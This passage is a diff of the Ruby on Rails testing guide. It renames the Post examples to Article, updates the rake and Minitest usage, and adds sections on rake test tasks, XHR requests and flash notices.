-The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting.
+The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting. There is also a directory for testing your mailers and one for testing view helpers.
 
-Fixtures are a way of organizing test data; they reside in the `fixtures` folder.
+Fixtures are a way of organizing test data; they reside in the `fixtures` directory.
 
 The `test_helper.rb` file holds the default configuration for your tests.
 
 ### The Low-Down on Fixtures
 
-For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+For good tests, you'll need to give some thought to setting up test data.
+In Rails, you can handle this by defining and customizing fixtures.
+You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
 
 #### What Are Fixtures?
 
@@ -59,7 +65,7 @@ You'll find fixtures under your `test/fixtures` directory. When you run `rails g
 
 #### YAML
 
-YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
+YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
 
 Here's a sample YAML fixture file:
 
@@ -76,11 +82,11 @@ steve:
   profession: guy with keyboard
 ```
 
-Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them.
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
 
 If you are working with [associations](/association_basics.html), you can simply
 define a reference node between two different fixtures. Here's an example with
-a belongs_to/has_many association:
+a `belongs_to`/`has_many` association:
 
 ```yaml
 # In fixtures/categories.yml
@@ -94,6 +100,10 @@ one:
   category: about
 ```
 
+Notice the `category` key of the `one` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`.
+
+NOTE: For associations to reference one another by name, you cannot specify the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
+
 #### ERB'in It Up
 
 ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
@@ -108,15 +118,17 @@ user_<%= n %>:
 
 #### Fixtures in Action
 
-Rails by default automatically loads all fixtures from the `test/fixtures` folder for your models and controllers test. Loading involves three steps:
+Rails by default automatically loads all fixtures from the `test/fixtures` directory for your models and controllers test. Loading involves three steps:
+
+1. Remove any existing data from the table corresponding to the fixture
+2. Load the fixture data into the table
+3. Dump the fixture data into a method in case you want to access it directly
 
-* Remove any existing data from the table corresponding to the fixture
-* Load the fixture data into the table
-* Dump the fixture data into a variable in case you want to access it directly
+TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html))
 
 #### Fixtures are Active Record objects
 
-Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
+Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example:
 
 ```ruby
 # this will return the User object for the fixture named david
@@ -129,32 +141,51 @@ users(:david).id
 email(david.girlfriend.email, david.location_tonight)
 ```
 
+### Rake Tasks for Running your Tests
+
+Rails comes with a number of built-in rake tasks to help with testing. The
+table below lists the commands included in the default Rakefile when a Rails
+project is created.
+
+| Tasks                   | Description |
+| ----------------------- | ----------- |
+| `rake test`             | Runs all tests in the `test` directory. You can also run `rake` and Rails will run all tests by default |
+| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
+| `rake test:helpers`     | Runs all the helper tests from `test/helpers` |
+| `rake test:integration` | Runs all the integration tests from `test/integration` |
+| `rake test:jobs`        | Runs all the job tests from `test/jobs` |
+| `rake test:mailers`     | Runs all the mailer tests from `test/mailers` |
+| `rake test:models`      | Runs all the model tests from `test/models` |
+| `rake test:units`       | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
+| `rake test:db`          | Runs all tests in the `test` directory and resets the db |
+
+We will cover each of types Rails tests listed above in this guide.
+
 Unit Testing your Models
 ------------------------
 
-In Rails, models tests are what you write to test your models.
+In Rails, unit tests are what you write to test your models.
 
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
+For this guide we will be using the application we built in the [Getting Started with Rails](getting_started.html) guide.
 
-NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
-
-When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/models` folder:
+If you remember when you used the `rails generate scaffold` command from earlier. We created our first resource among other things it created a test stub in the `test/models` directory:
 
 ```bash
-$ rails generate scaffold post title:string body:text
+$ bin/rails generate scaffold article title:string body:text
 ...
-create  app/models/post.rb
-create  test/models/post_test.rb
-create  test/fixtures/posts.yml
+create  app/models/article.rb
+create  test/models/article_test.rb
+create  test/fixtures/articles.yml
 ...
 ```
 
-The default test stub in `test/models/post_test.rb` looks like this:
+The default test stub in `test/models/article_test.rb` looks like this:
 
 ```ruby
 require 'test_helper'
 
-class PostTest < ActiveSupport::TestCase
+class ArticleTest < ActiveSupport::TestCase
   # test "the truth" do
   #   assert true
   # end
@@ -167,18 +198,18 @@ A line by line examination of this file will help get you oriented to Rails test
 require 'test_helper'
 ```
 
-As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all your tests.
 
 ```ruby
-class PostTest < ActiveSupport::TestCase
+class ArticleTest < ActiveSupport::TestCase
 ```
 
-The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
+The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, you'll see some of the methods it gives you.
 
-Any method defined within a class inherited from `MiniTest::Unit::TestCase`
-(which is the superclass of `ActiveSupport::TestCase`) that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
+Any method defined within a class inherited from `Minitest::Test`
+(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run.
 
-Rails adds a `test` method that takes a test name and a block. It generates a normal `MiniTest::Unit` test with method names prefixed with `test_`. So,
+Rails also adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So you don't have to worry about naming the methods, and you can write something like:
 
 ```ruby
 test "the truth" do
@@ -186,7 +217,7 @@ test "the truth" do
 end
 ```
 
-acts as if you had written
+Which is approximately the same as writing this:
 
 ```ruby
 def test_the_truth
@@ -194,55 +225,44 @@ def test_the_truth
 end
 ```
 
-only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+However only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of `define_method` and `send` calls to function properly, but formally there's little restriction on the name.
 
-NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction.
+Next, let's look at our first assertion:
 
 ```ruby
 assert true
 ```
 
-This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
 
 * does this value = that value?
 * is this object nil?
 * does this line of code throw an exception?
 * is the user's password greater than 5 characters?
 
-Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-
-### Preparing your Application for Testing
-
-Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-```bash
-$ rake db:migrate
-...
-$ rake db:test:load
-```
-
-The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
-
-NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
+Every test must contain at least one assertion, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.
 
-#### Rake Tasks for Preparing your Application for Testing
+### Maintaining the test database schema
 
-| Tasks                          | Description                                                               |
-| ------------------------------ | ------------------------------------------------------------------------- |
-| `rake db:test:clone`           | Recreate the test database from the current environment's database schema |
-| `rake db:test:clone_structure` | Recreate the test database from the development structure                 |
-| `rake db:test:load`            | Recreate the test database from the current `schema.rb`                   |
-| `rake db:test:prepare`         | Check for pending migrations and load the test schema                     |
-| `rake db:test:purge`           | Empty the test database.                                                  |
+In order to run your tests, your test database will need to have the current
+structure. The test helper checks whether your test database has any pending
+migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql`
+into the test database. If migrations are still pending, an error will be
+raised. Usually this indicates that your schema is not fully migrated. Running
+the migrations against the development database (`bin/rake db:migrate`) will
+bring the schema up to date.
 
-TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
+NOTE: If existing migrations required modifications, the test database needs to
+be rebuilt. This can be done by executing `bin/rake db:test:prepare`.
 
 ### Running Tests
 
 Running a test is as simple as invoking the file containing the test cases through `rake test` command.
 
 ```bash
-$ rake test test/models/post_test.rb
+$ bin/rake test test/models/article_test.rb
 .
 
 Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
@@ -250,10 +270,12 @@ Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
 1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
 ```
 
+This will run all test methods from the test case.
+
 You can also run a particular test method from the test case by running the test and providing the `test method name`.
 
 ```bash
-$ rake test test/models/post_test.rb test_the_truth
+$ bin/rake test test/models/article_test.rb test_the_truth
 .
 
 Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
@@ -261,29 +283,29 @@ Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
 1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
 ```
 
-This will run all test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
-
 The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.
 
-To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.
+#### Your first failing test
+
+To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case.
 
 ```ruby
-test "should not save post without title" do
-  post = Post.new
-  assert !post.save
+test "should not save article without title" do
+  article = Article.new
+  assert_not article.save
 end
 ```
 
 Let us run this newly added test.
 
 ```bash
-$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title
 F
 
 Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s.
 
   1) Failure:
-test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+test_should_not_save_article_without_title(ArticleTest) [test/models/article_test.rb:6]:
 Failed assertion, no message given.
 
 1 tests, 1 assertions, 1 failures, 0 errors, 0 skips
@@ -292,9 +314,9 @@ Failed assertion, no message given.
 In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
 
 ```ruby
-test "should not save post without title" do
-  post = Post.new
-  assert !post.save, "Saved the post without a title"
+test "should not save article without title" do
+  article = Article.new
+  assert_not article.save, "Saved the article without a title"
 end
 ```
 
@@ -302,14 +324,14 @@ Running this test shows the friendlier assertion message:
 
 ```bash
   1) Failure:
-test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
-Saved the post without a title
+test_should_not_save_article_without_title(ArticleTest) [test/models/article_test.rb:6]:
+Saved the article without a title
 ```
 
 Now to get this test to pass we can add a model level validation for the _title_ field.
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   validates :title, presence: true
 end
 ```
@@ -317,7 +339,7 @@ end
 Now the test should pass. Let us verify by running the test again:
 
 ```bash
-$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title
 .
 
 Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
@@ -325,9 +347,13 @@ Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
 1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
 ```
 
-Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
+Now, if you noticed, we first wrote a test which fails for a desired
+functionality, then we wrote some code which adds the functionality and finally
+we ensured that our test passes. This approach to software development is
+referred to as
+[_Test-Driven Development_ (TDD)](http://c2.com/cgi/wiki?TestDrivenDevelopment).
 
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html).
+#### What an error looks like
 
 To see how an error gets reported, here's a test containing an error:
 
@@ -342,61 +368,58 @@ end
 Now you can see even more output in the console from running the tests:
 
 ```bash
-$ rake test test/models/post_test.rb test_should_report_error
+$ bin/rake test test/models/article_test.rb test_should_report_error
 E
 
 Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s.
 
   1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x007fe32e24afe0>
-    test/models/post_test.rb:10:in `block in <class:PostTest>'
+test_should_report_error(ArticleTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<ArticleTest:0x007fe32e24afe0>
+    test/models/article_test.rb:10:in `block in <class:ArticleTest>'
 
 1 tests, 0 assertions, 0 failures, 1 errors, 0 skips
 ```
 
 Notice the 'E' in the output. It denotes a test with error.
 
-NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+NOTE: The execution of each test method stops as soon as any error or an
+assertion failure is encountered, and the test suite continues with the next
+method. All test methods are executed in random order. The
+[`config.active_support.test_order` option](http://edgeguides.rubyonrails.org/configuring.html#configuring-active-support)
+can be used to configure test order.
+
+When a test fails you are presented with the corresponding backtrace. By default
+Rails filters that backtrace and will only print lines relevant to your
+application. This eliminates the framework noise and helps to focus on your
+code. However there are situations when you want to see the full
+backtrace. simply set the `BACKTRACE` environment variable to enable this
+behavior:
+
+```bash
+$ BACKTRACE=1 bin/rake test test/models/article_test.rb
+```
+
+If we want this test to pass we can modify it to use `assert_raises` like so:
 
-### What to Include in Your Unit Tests
+```ruby
+test "should report error" do
+  # some_undefined_variable is not defined elsewhere in the test case
+  assert_raises(NameError) do
+    some_undefined_variable
+  end
+end
+```
 
-Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+This test should now pass.
 
 ### Available Assertions
 
 By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
 
-There are a bunch of different types of assertions you can use.
-Here's an extract of the assertions you can use with `minitest`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-
-| Assertion                                                        | Purpose |
-| ---------------------------------------------------------------- | ------- |
-| `assert( test, [msg] )`                                          | Ensures that `test` is true.|
-| `assert_not( test, [msg] )`                                      | Ensures that `test` is false.|
-| `assert_equal( expected, actual, [msg] )`                        | Ensures that `expected == actual` is true.|
-| `assert_not_equal( expected, actual, [msg] )`                    | Ensures that `expected != actual` is true.|
-| `assert_same( expected, actual, [msg] )`                         | Ensures that `expected.equal?(actual)` is true.|
-| `assert_not_same( expected, actual, [msg] )`                     | Ensures that `expected.equal?(actual)` is false.|
-| `assert_nil( obj, [msg] )`                                       | Ensures that `obj.nil?` is true.|
-| `assert_not_nil( obj, [msg] )`                                   | Ensures that `obj.nil?` is false.|
-| `assert_match( regexp, string, [msg] )`                          | Ensures that a string matches the regular expression.|
-| `assert_no_match( regexp, string, [msg] )`                       | Ensures that a string doesn't match the regular expression.|
-| `assert_in_delta( expecting, actual, [delta], [msg] )`           | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
-| `assert_not_in_delta( expecting, actual, [delta], [msg] )`       | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
-| `assert_throws( symbol, [msg] ) { block }`                       | Ensures that the given block throws the symbol.|
-| `assert_raises( exception1, exception2, ... ) { block }`         | Ensures that the given block raises one of the given exceptions.|
-| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
-| `assert_instance_of( class, obj, [msg] )`                        | Ensures that `obj` is an instance of `class`.|
-| `assert_not_instance_of( class, obj, [msg] )`                    | Ensures that `obj` is not an instance of `class`.|
-| `assert_kind_of( class, obj, [msg] )`                            | Ensures that `obj` is or descends from `class`.|
-| `assert_not_kind_of( class, obj, [msg] )`                        | Ensures that `obj` is not an instance of `class` and is not descending from it.|
-| `assert_respond_to( obj, symbol, [msg] )`                        | Ensures that `obj` responds to `symbol`.|
-| `assert_not_respond_to( obj, symbol, [msg] )`                    | Ensures that `obj` does not respond to `symbol`.|
-| `assert_operator( obj1, operator, [obj2], [msg] )`               | Ensures that `obj1.operator(obj2)` is true.|
-| `assert_not_operator( obj1, operator, [obj2], [msg] )`           | Ensures that `obj1.operator(obj2)` is false.|
-| `assert_send( array, [msg] )`                                    | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
-| `flunk( [msg] )`                                                 | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+There are a bunch of different types of assertions you can use that come with [`Minitest`](https://github.com/seattlerb/minitest), the default testing library used by Rails.
+
+For a list of all available assertions please check the [Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html)
 
 Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
 
@@ -404,7 +427,7 @@ NOTE: Creating your own assertions is an advanced topic that we won't cover in t
 
 ### Rails Specific Assertions
 
-Rails adds some custom assertions of its own to the `test/unit` framework:
+Rails adds some custom assertions of its own to the `minitest` framework:
 
 | Assertion                                                                         | Purpose |
 | --------------------------------------------------------------------------------- | ------- |
@@ -412,16 +435,30 @@ Rails adds some custom assertions of its own to the `test/unit` framework:
 | `assert_no_difference(expressions, message = nil, &amp;block)`                    | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
 | `assert_recognizes(expected_options, path, extras={}, message=nil)`               | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
 | `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-| `assert_response(type, message = nil)`                                            | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
-| `assert_redirected_to(options = {}, message=nil)`                                 | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.|
+| `assert_response(type, message = nil)`                                            | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
+| `assert_redirected_to(options = {}, message=nil)`                                 | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.|
 | `assert_template(expected = nil, message=nil)`                                    | Asserts that the request was rendered with the appropriate template file.|
 
 You'll see the usage of some of these assertions in the next chapter.
 
+### A Brief Note About Minitest
+
+All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:
+
+* `ActiveSupport::TestCase`
+* `ActionController::TestCase`
+* `ActionMailer::TestCase`
+* `ActionView::TestCase`
+* `ActionDispatch::IntegrationTest`
+
+Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests.
+
+NOTE: For more information on `Minitest`, refer to [Minitest](http://ruby-doc.org/stdlib-2.1.0/libdoc/minitest/rdoc/MiniTest.html)
+
 Functional Tests for Your Controllers
 -------------------------------------
 
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you're testing how your actions handle the requests and the expected result, or response in some cases an HTML view.
 
 ### What to Include in your Functional Tests
 
@@ -433,50 +470,59 @@ You should test for things such as:
 * was the correct object stored in the response template?
 * was the appropriate message displayed to the user in the view?
 
-Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and tests. You can take look at the file `posts_controller_test.rb` in the `test/controllers` directory.
+Now that we have used Rails scaffold generator for our `Article` resource, it has already created the controller code and tests. You can take look at the file `articles_controller_test.rb` in the `test/controllers` directory.
 
-Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
+Let me take you through one such test, `test_should_get_index` from the file `articles_controller_test.rb`.
 
 ```ruby
-test "should get index" do
-  get :index
-  assert_response :success
-  assert_not_nil assigns(:posts)
+class ArticlesControllerTest < ActionController::TestCase
+  test "should get index" do
+    get :index
+    assert_response :success
+    assert_not_nil assigns(:articles)
+  end
 end
 ```
 
-In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `articles` instance variable.
 
 The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:
 
-* The action of the controller you are requesting. This can be in the form of a string or a symbol.
-* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-* An optional hash of session variables to pass along with the request.
-* An optional hash of flash values.
+* The action of the controller you are requesting.
+  This can be in the form of a string or a symbol.
+
+* `params`: option with a hash of request parameters to pass into the action
+  (e.g. query string parameters or article variables).
+
+* `session`: option with a hash of session variables to pass along with the request.
+
+* `flash`: option with a hash of flash values.
+
+All the keyword arguments are optional.
 
 Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session:
 
 ```ruby
-get(:show, {'id' => "12"}, {'user_id' => 5})
+get(:show, params: { 'id' => "12" }, session: { 'user_id' => 5 })
 ```
 
 Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message.
 
 ```ruby
-get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+get(:view, params: { 'id' => '12' }, flash: { 'message' => 'booya!' })
 ```
 
-NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
 
-Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:
+Let us modify `test_should_create_article` test in `articles_controller_test.rb` so that all our test pass:
 
 ```ruby
-test "should create post" do
-  assert_difference('Post.count') do
-    post :create, post: {title: 'Some title'}
+test "should create article" do
+  assert_difference('Article.count') do
+    post :create, params: { article: { title: 'Some title' } }
   end
 
-  assert_redirected_to post_path(assigns(:post))
+  assert_redirected_to article_path(assigns(:article))
 end
 ```
 
@@ -493,13 +539,26 @@ If you're familiar with the HTTP protocol, you'll know that `get` is a type of r
 * `head`
 * `delete`
 
-All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put` and `delete` more often.
+
+NOTE: Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.
+
+### Testing XHR (AJAX) requests
 
-NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
+Enable set  `xhr: true` option as an argument to `get/post/patch/put/delete` method:
+
+```ruby
+test "ajax request responds with no layout" do
+  get :show, params: { id: articles(:first).id }, xhr: true
+
+  assert_template :index
+  assert_template layout: nil
+end
+```
 
 ### The Four Hashes of the Apocalypse
 
-After a request has been made using one of the 6 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
+After a request has been made and processed, you will have 4 Hash objects ready for use:
 
 * `assigns` - Any objects that are stored as instance variables in actions for use in views.
 * `cookies` - Any cookies that are set.
@@ -522,17 +581,19 @@ assigns["something"]          assigns(:something)
 You also have access to three instance variables in your functional tests:
 
 * `@controller` - The controller processing the request
-* `@request` - The request
-* `@response` - The response
+* `@request` - The request object
+* `@response` - The response object
 
 ### Setting Headers and CGI variables
 
-Headers and cgi variables can be set directly on the `@request`
-instance variable:
+[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
+and
+[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
+can be set directly on the `@request` instance variable:
 
 ```ruby
 # setting a HTTP Header
-@request.headers["Accepts"] = "text/plain, text/html"
+@request.headers["Accept"] = "text/plain, text/html"
 get :index # simulate the request with custom header
 
 # setting a CGI variable
@@ -542,6 +603,10 @@ post :create # simulate the request with custom env variable
 
 ### Testing Templates and Layouts
 
+Eventually, you may want to test whether a specific layout is rendered in the view of a response.
+
+#### Asserting Templates
+
 If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template`
 method:
 
@@ -550,24 +615,22 @@ test "index should render correct template and layout" do
   get :index
   assert_template :index
   assert_template layout: "layouts/application"
+
+  # You can also pass a regular expression.
+  assert_template layout: /layouts\/application/
 end
 ```
 
-Note that you cannot test for template and layout at the same time, with one call to `assert_template` method.
-Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes
-things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
-file in this standard layout directory. Hence,
+NOTE: You cannot test for template and layout at the same time, with a single call to `assert_template`.
 
-```ruby
-assert_template layout: "application"
-```
+WARNING: You must include the "layouts" directory name even if you save your layout file in this standard layout directory. Hence, `assert_template layout: "application"` will not work.
 
-will not work.
+#### Asserting Partials
 
-If your view renders any partial, when asserting for the layout, you have to assert for the partial at the same time.
+If your view renders any partial, when asserting for the layout, you can to assert for the partial at the same time.
 Otherwise, assertion will fail.
 
-Hence:
+Remember, we added the "_form" partial to our creating Articles view? Let's write an assertion for that in the `:new` action now:
 
 ```ruby
 test "new should render correct layout" do
@@ -576,33 +639,240 @@ test "new should render correct layout" do
 end
 ```
 
-is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain.
+This is the correct way to assert for when the view renders a partial with a given name. As identified by the `:partial` key passed to the `assert_template` call.
+
+### Testing `flash` notices
+
+If you remember from earlier one of the Four Hashes of the Apocalypse was `flash`.
 
-### A Fuller Functional Test Example
+We want to add a `flash` message to our blog application whenever someone
+successfully creates a new Article.
 
-Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:
+Let's start by adding this assertion to our `test_should_create_article` test:
 
 ```ruby
-test "should create post" do
-  assert_difference('Post.count') do
-    post :create, post: {title: 'Hi', body: 'This is my first post.'}
+test "should create article" do
+  assert_difference('Article.count') do
+    post :create, params: { article: { title: 'Some title' } }
   end
-  assert_redirected_to post_path(assigns(:post))
-  assert_equal 'Post was successfully created.', flash[:notice]
+
+  assert_redirected_to article_path(assigns(:article))
+  assert_equal 'Article was successfully created.', flash[:notice]
 end
 ```
 
-### Testing Views
+If we run our test now, we should see a failure:
+
+```bash
+$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article
